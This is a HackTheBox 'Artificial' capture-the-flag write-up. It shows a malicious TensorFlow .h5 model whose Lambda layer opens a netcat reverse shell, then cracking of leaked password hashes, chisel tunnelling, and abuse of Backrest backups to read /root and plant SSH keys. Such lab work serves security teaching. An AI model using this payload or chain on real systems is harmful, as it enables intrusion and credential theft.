Post

HackTheBox Artificial Writeup

Nmap Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ cat nmap     
# Nmap 7.95 scan initiated Wed Oct 22 23:20:30 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.129.101.85
Nmap scan report for 10.129.101.85
Host is up, received reset ttl 63 (0.088s latency).
Scanned at 2025-10-22 23:20:31 CST for 10s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 22 23:20:41 2025 -- 1 IP address (1 host up) scanned in 10.58 seconds

Open Services:

  • ssh -> TCP 22
  • http -> TCP 80

HTTP Port 80

1
2
3
4
5
6
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

According to the nmap results, we knows it redirect us to http://artificial.htb, we have to add the domain into /etc/hosts before enumeration.

There is Login and Register feature.

After we register an account test@test.com:test, we will redirect to /dashboard:

Seems like we can upload our AI models and run? We can download the Dockerfile and requirements provided:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ cat requirements.txt 
tensorflow-cpu==2.13.1
                                                                                                                                                                                                                                            
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ cat Dockerfile      
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Let’s try to upload a simple python code first:

1
print('Hello World')

However, nothing happended. Let’s try to upload a empty .h5 files?

It successfully upload. In this case, our target seems to be upload a malicious model that lead us RCE.

Malicious Model

By searching h5 exploit, we found a PoC: https://github.com/Splinter0/tensorflow-rce

1
2
3
4
5
6
7
8
9
10
11
12
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5") 

The exploit script generate a malicious model which can run our specified payload. Let’s try to modify this payload and generate the model. To avoid any dependencies/python version issues and may cause the exploit discrepancy, we can run the container that provided by Dockerfile and run the exploit script inside the container to generate the malicious model.

1
2
3
4
5
6
7
8
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ ls
Dockerfile  exploit.py  nmap  requirements.txt  test.h5  test.py
                                                                                                                                                                                                                                            
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ sudo docker build -t artificial .


However, since my vm is based on ARM arch, it will appears error on installing tensorflow… so i quickly switch to the vm that is based on x64 and build the container again. After generate the exploit.h5, copy it to kali vm and upload to the target machine to receive reverse shell:

1
2
3
4
5
6
7
8
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ nc -lvnp 443 
listening on [any] 443 ...
connect to [10.10.16.13] from (UNKNOWN) [10.129.101.85] 34560
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app

Lateral Movement

1
2
3
4
5
6
app@artificial:~/app$ ls -la /home
total 16
drwxr-xr-x  4 root root 4096 Jun 18 13:19 .
drwxr-xr-x 18 root root 4096 Mar  3  2025 ..
drwxr-x---  6 app  app  4096 Jun  9 10:52 app
drwxr-x---  4 gael gael 4096 Jun  9 08:53 gael

Seems like gael is our first target to lateral movement to.

Analysis Source code

we can view the source code of the server in /home/app/app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'

db = SQLAlchemy(app)

MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(200), nullable=False)
    models = db.relationship('Model', backref='owner', lazy=True)

class Model(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    filename = db.Column(db.String(120), nullable=False)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'

def hash(password):
 password = password.encode()
 hash = hashlib.md5(password).hexdigest()
 return hash

@app.route('/')
def index():
    if ('user_id' in session):
        username = session['username']
        if (User.query.filter_by(username=username).first()):
            return redirect(url_for('dashboard'))

    return render_template('index.html')

@app.route('/static/requirements.txt')
def download_txt():
    try:
        pdf_path = './static/requirements.txt'  # Adjust path as needed
        
        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='requirements.txt',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "requirements file not found", 404


@app.route('/static/Dockerfile')
def download_dockerfile():
    try:
        pdf_path = './static/Dockerfile'  # Adjust path as needed

        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='Dockerfile',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "Dockerfile file not found", 404

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        email = request.form['email']
        password = request.form['password']
        hashed_password = hash(password)
        
        existing_user = User.query.filter((User.username == username) | (User.email == email)).first()
        
        if existing_user:
            flash('Username or email already exists. Please choose another.', 'error')
            return render_template('register.html')
        
        new_user = User(username=username, email=email, password=hashed_password)

        try:
            db.session.add(new_user)
            db.session.commit()
            return redirect(url_for('login'))
        except Exception as e:
            db.session.rollback()
            flash('An error occurred. Please try again.', 'error')

    return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        email = request.form['email']
        password = request.form['password']
        user = User.query.filter_by(email=email).first()

        if user and user.password == hash(password):
            session['user_id'] = user.id
            session['username'] = user.username
            return redirect(url_for('dashboard'))
        else:
          pass

    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    user_models = Model.query.filter_by(user_id=session['user_id']).all()
    return render_template('dashboard.html', models=user_models, username=username)


@app.route('/upload_model', methods=['POST'])
def upload_model():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    if 'model_file' not in request.files:
        return redirect(url_for('dashboard'))

    file = request.files['model_file']

    if file.filename == '':
        return redirect(url_for('dashboard'))

    if file and allowed_file(file.filename):
        model_id = str(uuid.uuid4())
        filename = f"{model_id}.h5"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

        try:
            file.save(file_path)

            new_model = Model(id=model_id, filename=filename, user_id=session['user_id'])
            db.session.add(new_model)
            db.session.commit()

        except Exception as e:
            if os.path.exists(file_path):
                os.remove(file_path)
    else:
       pass

    return redirect(url_for('dashboard'))

@app.route('/delete_model/<model_id>', methods=['GET'])
def delete_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))
 
    model = Model.query.filter_by(id=model_id, user_id=session['user_id']).first()

    if model:
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], model.filename)
        if os.path.exists(file_path):
            os.remove(file_path)
        db.session.delete(model)
        db.session.commit()
    else:
       pass

    return redirect(url_for('dashboard'))


@app.route('/run_model/<model_id>')
def run_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')

    if not os.path.exists(model_path):
        return redirect(url_for('dashboard'))

    try:
        model = tf.keras.models.load_model(model_path)

        hours = np.arange(0, 24 * 7).reshape(-1, 1)
        predictions = model.predict(hours)

        days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
        daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}

        max_day = max(daily_predictions, key=daily_predictions.get)
        max_prediction = daily_predictions[max_day]

        model_summary = []
        model.summary(print_fn=lambda x: model_summary.append(x))
        model_summary = "\n".join(model_summary)

        return render_template(
            'run_model.html',
            model_summary=model_summary,
            daily_predictions=daily_predictions,
            max_day=max_day,
            max_prediction=max_prediction
        )
    except Exception as e:
        print(e)
        return redirect(url_for('dashboard'))



@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('username', None)
    return redirect(url_for('index'))

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='127.0.0.1')

we found a secret key Sup3rS3cr3tKey4rtIfici4L (which might be the password-reuse), and the database location.

Extract database

Let’s try to extract the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app@artificial:~/app/instance$ sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open users.db
sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|test|test@test.com|098f6bcd4621d373cade4e832627b4f6

Good! Let’s hashcat crack them

1
2
3
4
5
6
7
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ sudo hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

098f6bcd4621d373cade4e832627b4f6:test                     
c99175974b6e192936d97224638a34f8:mattp005numbertwo        
bc25b1f80f544c0ab451c02a3dca9fc6:marwinnarak043414036     
Approaching final keyspace - workload adjusted.

we found some valid credentials

gael:mattp005numbertwo, royer:marwinnarak043414036

Since gael is our target, we can try to verify this credentials by login as gael:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ ssh gael@artificial.htb                                              
The authenticity of host 'artificial.htb (10.129.102.16)' can't be established.
ED25519 key fingerprint is SHA256:RfqGfdDw0WXbAPIqwri7LU4OspmhEFYPijXhBj6ceHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'artificial.htb' (ED25519) to the list of known hosts.
gael@artificial.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 22 Oct 2025 03:59:11 PM UTC

  System load:           1.56
  Usage of /:            58.8% of 7.53GB
  Memory usage:          29%
  Swap usage:            0%
  Processes:             231
  Users logged in:       0
  IPv4 address for eth0: 10.129.102.16
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c03a


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Oct 22 15:59:12 2025 from 10.10.16.13
gael@artificial:~$

Perfect!

Privilege Escalation

Let’s run linpeas to do a basic scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version                                                                                                                                              
Sudo version 1.8.31

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                                                                                                                                          
[+] [CVE-2021-4034] PwnKit                                                                                                                                                                                                                  

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154


Vulnerable to CVE-2021-3560

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                                                                                
══╣ Active Ports (netstat)                                                                                                                                                                                                                  
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                                                                                                                                                           
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 


╔══════════╣ Searching root files in home dirs (limit 30)
/home/                                                                                                                                                                                                                                      
/home/gael/.sqlite_history
/home/gael/.python_history
/home/gael/user.txt
/home/gael/.bash_history
/root/
/var/www
/var/www/html
/var/www/html/index.nginx-debian.html

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root gael 33 Oct 22 15:52 /home/gael/user.txt                                                                                                                                                                                  
-rw-r----- 1 root sysadm 52357120 Mar  4  2025 /var/backups/backrest_backup.tar.gz



╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                                                                                                                                            
  Group gael:                                                                                                                                                                                                                               
/etc/laurel/config.toml


══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/gael/.gnupg/trustdb.gpg                                                                                                                                                                                                               
/home/gael/.gnupg/pubring.kbx
/opt/backrest/oplog.sqlite-wal
/opt/backrest/oplog.sqlite-shm
/opt/backrest/.config/backrest/config.json
/opt/backrest/tasklogs/logs.sqlite-shm
/opt/backrest/tasklogs/logs.sqlite-wal
/opt/backrest/oplog.sqlite
/opt/backrest/processlogs/backrest.log
/var/log/auth.log
/var/log/journal/006168b2a7004abd80ae5e2460ebe2cf/user-1000.journal
/var/log/journal/006168b2a7004abd80ae5e2460ebe2cf/system.journal
/var/log/journal/006168b2a7004abd80ae5e2460ebe2cf/user-1001.journal
/var/log/lastlog
/var/log/wtmp
/var/log/btmp
/var/log/syslog
/var/log/laurel/audit.log
/var/log/laurel/audit.log.1

Backreset

Since we have the backup folder of backrest in /var/backups/backrest_backup.tar.gz, we can try to extract it and read the content of the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gael@artificial:~/backrest$ ls -la
total 51092
drwxr-xr-x 5 gael gael     4096 Mar  4  2025 .
drwxr-x--- 6 gael gael     4096 Oct 22 16:07 ..
-rwxr-xr-x 1 gael gael 25690264 Feb 16  2025 backrest
drwxr-xr-x 3 gael gael     4096 Mar  3  2025 .config
-rwxr-xr-x 1 gael gael     3025 Mar  3  2025 install.sh
-rw------- 1 gael gael       64 Mar  3  2025 jwt-secret
-rw-r--r-- 1 gael gael    57344 Mar  4  2025 oplog.sqlite
-rw------- 1 gael gael        0 Mar  3  2025 oplog.sqlite.lock
-rw-r--r-- 1 gael gael    32768 Mar  4  2025 oplog.sqlite-shm
-rw-r--r-- 1 gael gael        0 Mar  4  2025 oplog.sqlite-wal
drwxr-xr-x 2 gael gael     4096 Mar  3  2025 processlogs
-rwxr-xr-x 1 gael gael 26501272 Mar  3  2025 restic
drwxr-xr-x 3 gael gael     4096 Mar  4  2025 tasklogs

For the install.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
gael@artificial:~/backrest$ cat install.sh 
#! /bin/bash

cd "$(dirname "$0")" # cd to the directory of this script

install_or_update_unix() {
  if systemctl is-active --quiet backrest; then
    sudo systemctl stop backrest
    echo "Paused backrest for update"
  fi
  install_unix
}

install_unix() {
  echo "Installing backrest to /usr/local/bin"
  sudo mkdir -p /usr/local/bin

  sudo cp $(ls -1 backrest | head -n 1) /usr/local/bin
}

create_systemd_service() {
  if [ ! -d /etc/systemd/system ]; then
    echo "Systemd not found. This script is only for systemd based systems."
    exit 1
  fi

  if [ -f /etc/systemd/system/backrest.service ]; then
    echo "Systemd unit already exists. Skipping creation."
    return 0
  fi

  echo "Creating systemd service at /etc/systemd/system/backrest.service"

  sudo tee /etc/systemd/system/backrest.service > /dev/null <<- EOM
[Unit]
Description=Backrest Service
After=network.target

[Service]
Type=simple
User=$(whoami)
Group=$(whoami)
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

[Install]
WantedBy=multi-user.target
EOM

  echo "Reloading systemd daemon"
  sudo systemctl daemon-reload
}

create_launchd_plist() {
  echo "Creating launchd plist at /Library/LaunchAgents/com.backrest.plist"

  sudo tee /Library/LaunchAgents/com.backrest.plist > /dev/null <<- EOM
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.backrest</string>
    <key>ProgramArguments</key>
    <array>
    <string>/usr/local/bin/backrest</string>
    </array>
    <key>KeepAlive</key>
    <true/>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PATH</key>
        <string>/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
        <key>BACKREST_PORT</key>
        <string>127.0.0.1:9898</string>
    </dict>
</dict>
</plist>
EOM
}

enable_launchd_plist() {
  echo "Trying to unload any previous version of com.backrest.plist"
  launchctl unload /Library/LaunchAgents/com.backrest.plist || true
  echo "Loading com.backrest.plist"
  launchctl load -w /Library/LaunchAgents/com.backrest.plist
}

OS=$(uname -s)
if [ "$OS" = "Darwin" ]; then
  echo "Installing on Darwin"
  install_unix
  create_launchd_plist
  enable_launchd_plist
  sudo xattr -d com.apple.quarantine /usr/local/bin/backrest # remove quarantine flag
elif [ "$OS" = "Linux" ]; then
  echo "Installing on Linux"
  install_or_update_unix
  create_systemd_service
  echo "Enabling systemd service backrest.service"
  sudo systemctl enable backrest
  sudo systemctl start backrest
else
  echo "Unknown OS: $OS. This script only supports Darwin and Linux."
  exit 1
fi

echo "Logs are available at ~/.local/share/backrest/processlogs/backrest.log"
echo "Access backrest WebUI at http://localhost:9898"

Besides, we can view the configuration file that might be also use in real services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gael@artificial:~/backrest$ cat .config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

The passwordBcrypt is base64 encoded:

1
2
gael@artificial:~/backrest$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

In this case, we can try to crack it:

1
2
3
4
5
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Artificial]
└─$ sudo hashcat -m 3200 hashes2.txt /usr/share/wordlists/rockyou.txt --force

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
                                                          

Good, we found a valid credentials: backrest_root:!@#$%^

To view the webui, we have to do pivoting:

1
2
3
4
5
6
7
┌──(parallels㉿kali-linux-2025-2)-[~/Documents/linux-tools]
└─$ ./chisel_1.11.3_linux_arm64 server -p 12312 --reverse
2025/10/23 00:16:10 server: Reverse tunnelling enabled
2025/10/23 00:16:10 server: Fingerprint iVKs+zdmvFvFXDgiFDWXmmZq99SHz1nrgEI08WNLb2E=
2025/10/23 00:16:10 server: Listening on http://0.0.0.0:12312
2025/10/23 00:16:31 server: session#1: tun: proxy#R:9898=>9898: Listening

1
2
3
gael@artificial:~$ ./chisel_1.11.3_linux_amd64 client 10.10.16.13:12312 R:9898:127.0.0.1:9898
2025/10/22 16:16:31 client: Connecting to ws://10.10.16.13:12312
2025/10/22 16:16:31 client: Connected (Latency 51.536108ms)

Then, we login as the credentials we found:

Then we add repo and plan to backup /root

After that backup, we still cannot read the folder directly at /tmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gael@artificial:~/backrest$ ls -la /tmp
total 68
drwxrwxrwt  16 root root 4096 Oct 22 16:34 .
drwxr-xr-x  18 root root 4096 Mar  3  2025 ..
-r--------   1 root root  155 Oct 22 16:31 config
drwx------ 258 root root 4096 Oct 22 16:31 data
drwxrwxrwt   2 root root 4096 Oct 22 15:51 .font-unix
drwxrwxrwt   2 root root 4096 Oct 22 15:51 .ICE-unix
drwx------   2 root root 4096 Oct 22 16:32 index
drwx------   2 root root 4096 Oct 22 16:31 keys
drwx------   2 root root 4096 Oct 22 16:37 locks
drwx------   2 root root 4096 Oct 22 16:32 snapshots
drwx------   3 root root 4096 Oct 22 15:52 systemd-private-5b6ea173266c43a48b902ebf7b8f8b75-ModemManager.service-sLfCwg
drwx------   3 root root 4096 Oct 22 15:52 systemd-private-5b6ea173266c43a48b902ebf7b8f8b75-systemd-logind.service-qniFzg
drwx------   3 root root 4096 Oct 22 15:52 systemd-private-5b6ea173266c43a48b902ebf7b8f8b75-systemd-resolved.service-2KS7Di
drwx------   3 root root 4096 Oct 22 15:51 systemd-private-5b6ea173266c43a48b902ebf7b8f8b75-systemd-timesyncd.service-lhHEki
drwxrwxrwt   2 root root 4096 Oct 22 15:51 .Test-unix
drwxrwxrwt   2 root root 4096 Oct 22 15:51 .X11-unix
drwxrwxrwt   2 root root 4096 Oct 22 15:51 .XIM-unix

In this case, we will try to dump the file through the backrest service:

First, we go to plan1 at plan section and click on run command:

There is bunch of command we can use, in order to gain root flag, we can just use list and dump:

After we obtain the snapshot id, we can use dump to obtain the /root/root.txt content:

Easy! to obtain root shell, we need to use restore with write the id_rsa and authorized_keys under /root/.ssh.

This post is licensed under CC BY 4.0 by the author.